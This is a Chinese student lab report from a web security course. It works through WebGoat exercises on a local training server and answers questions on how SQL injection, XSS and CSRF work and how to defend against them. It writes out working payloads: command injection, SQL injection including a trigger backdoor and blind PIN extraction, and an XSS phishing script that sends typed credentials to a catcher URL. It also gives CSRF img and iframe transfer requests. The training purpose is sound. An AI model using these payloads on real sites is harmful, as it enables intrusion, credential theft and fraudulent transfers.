Exp9 Web安全基础
本实践的目标理解常用网络攻击技术的基本原理,
1.做不少于7个题目,包括SQL,XSS,CSRF。
2.实验后回答问题
(1)SQL注入攻击原理,如何防御
(2)XSS攻击的原理,如何防御
(3)CSRF攻击原理,如何防御
3.实验总结与体会
0.准备工作
0.1.安装WebGoat
下载并运行WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar,直到出现以下提示:
0.2.update-alternatives --config java
切换jdk版本,使用jdk1.8:
0.3.在浏览器输入http://localhost:8080/WebGoat/
用管理员账号登录:
1.1.SQL注入攻击
1.1.1 命令注入
选中Injection Flaws -> Command Injection
,ctrl+shift+c
对网页源代码进行修改,在复选框项目后面添加"& netstat -an & ipconfig",修改后再次点击下拉框旁的View
成功!
1.1.2 数字型SQL注入
左侧课程栏选中Injection Flaws -> Numeric SQL Injection
,点击Go!
按钮,可查询Columbia的天气情况:
对网页源代码进行修改,找到名字为station的select元素,在101
后面添加" or 1=1 "
,修改后点击Go!
成功!
1.1.3 日志欺骗
选中Injection Flaws
-Log Spoofing
在User Name
文本框中填写guest%0d%0aLogin Succeeded for username: admin
成功!
1.1.4 字符串型注入
选中Injection Flaws
-String SQL Injection
,输入Smith可查询Smith的信用卡信息
在User Name
文本框中填写Smith' or 1=1--
成功!
1.1.5 LAB: SQL Injection
选中Injection Flaws
-LAB: SQL Injection
,密码框中输入' or 1=1 --
尝试绕过认证进行登录失败,因为密码长度不符:
将maxlength改成20:
重新输入
成功!
1.1.6 数据库后门
选中Injection Flaws
-Database Backdoors
,文本框中输入101
可查询该用户的相关信息
输入语句101; update employee set salary=8888888
成功将用户的工资变成8888888
成功!
输入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175203@myd.com' WHERE userid = NEW.userid,使表中添加新用户时其邮箱为我设置的邮箱
1.1.7 数字型盲注入
输入101 AND 1=1
进行一个查询测试,两个条件均有效,返回当前账户数字有效:
输入101 AND 1=2
,条件不成立,所以返回账号数字无效:
输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000
经过测试可知为2364,输入结果如下:
1.1.8 字符串型盲注入
使用语句101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'O' );
判断PIN字段数值的第一个字母其ASCII码值是否比”O“小。
经过测试可知为Jill,输入结果如下:
1.2xss攻击
1.2.1 跨站脚本钓鱼攻击
编写一个含有文本框、提交按钮的表单的代码
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
选中Cross-Site Scripting (XSS)
-Phishing with XSS
,在文本框中搜索该代码,页面中增加了一个登录的表单
编写一段含有文本框、提交按钮的表单,脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
1.2.2 存储型XSS攻击
在Message文本框中输入<script>alert("Hello,this is 20175203myd.");</script>
,点击创建的帖子,会弹出一个对话框,说明攻击成功!
1.2.3 反射型XSS攻击
输入<script>alert('You've been attacked!')
,点击购买按钮,攻击成功:
1.3CSRF攻击
1.3.1 Cross Site Request Forgery
点击XSS
-Cross Site Request Forgery(CSRF)
输入<img src="http://localhost:8080/WebGoat/attack?Screen= 2078372&menu=900&transferFunds=5000" width="1" height="1" />
:
点击链接,成功:
1.3.2 CSRF Prompt By-Pass
点击XSS
-CSRF Prompt By-Pass
输入
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
点击链接,成功:
2.实验后回答问题
(1)SQL注入攻击原理,如何防御
原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。
防御:
摒弃动态SQL语句;
对字符串进行过滤,检查是否包函非法字符;
将敏感数据加密存储在数据库中。
(2)XSS攻击的原理,如何防御
原理:攻击者向Web页面里插入一些恶意的html标签或者javascript代码,当用户浏览该页进行操作时,诱骗用户进行一些不安全的操作或向其他网站进行一些不安全的行为操作或提交信息。
防御:
在服务器端设置 http-only防止用户通过JS获取cookie;
用户不要轻易输入用户名、密码等一些私密信息;
网页编写时在输入和输出过程中进行过滤、转义等。
(3)CSRF攻击原理,如何防御
原理:攻击者盗用你的身份,以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账
防御:
在form表单栏中设置一些秘密信息作为cookie之外的验证;
尽量不要选择记住密码
设置身份验证,如添加私密信息设置,滑动验证等等。
3.实验总结与体会
本次实验是最后一次实验了,通过本学期的实验确实增强了自主学习的能力和动手的能力,说实话真有种意犹未尽的感觉,见识并亲身体会了花样繁多的网络攻击手段,让我对网络攻防有了近距离的认识,不再认为这是玄之又玄,高高在上的东西,而是真实存在的,看的见摸得着学的会的科技技术,期待以后对于网络对抗的进一步学习。